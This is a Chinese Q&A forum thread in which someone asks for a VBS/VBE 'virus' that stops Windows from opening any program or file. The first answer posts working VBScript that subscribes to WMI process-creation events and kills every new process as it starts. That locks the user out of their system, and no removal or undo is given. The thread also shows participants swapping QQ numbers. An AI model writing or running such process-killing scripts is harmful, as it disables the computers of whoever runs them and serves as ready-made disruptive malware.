制作一个病毒脚本文件，格式为VBS或VBE，运行后使系统无法打开任何程序和文件，教教怎么做，谢谢各位大神

Question

放心，我不是做坏事就是运行了以后，系统无法打开任何程序和文件，再次运行后恢复正常

Answer 1

strComputer ="."
set ws = createobject("wscript.shell")
set objWMIService = getObject("winmgmts://" & strComputer & "/root/cimv2")
strQuery = "SELECT * FROM __InstanceOperationEvent WITHin 2 WHERE TargetInstance ISA 'Win32_Process'"
set objEventSource = objWMIService.ExecNotificationQuery(strQuery)
ws.popup "进程监控开始...",1,"静飞 进程监控",64
do
set objEventObject = objEventSource.NextEvent()
select case objEventObject.Path_.Class
Case"__InstanceCreationEvent" '启动新进程，结束进程
Set colProcessList=objWMIService.ExecQuery("Select * from Win32_Process Where Name='" & objEventObject.TargetInstance.Name & "'")
For Each objProcess in colProcessList
objProcess.Terminate()
Next
Case"__InstanceDeletionEvent" '进程被关闭
't = objEventObject.TargetInstance.CreationDate
'ti = mid(t,9,2) & ":" & mid(t,11,2) & ":" & mid(t,13,2)
'ts = datediff("s",ti,time)
'msg = "共运行" & ts \ 3600&"小时" & (ts mod 3600) \ 60 & "分钟" & (ts mod 3600) mod 60 & "秒"
'ws.popup "进程被关闭:" & vbcrlf & objEventObject.TargetInstance.Name&vbcrlf & msg,2,"静飞 进程监控",64
End select
loop追问

帮忙做下解决的东西吧，我给你加分

Answer 2

加QQ教你1227022431追问

加不了，你加我吧，2535962518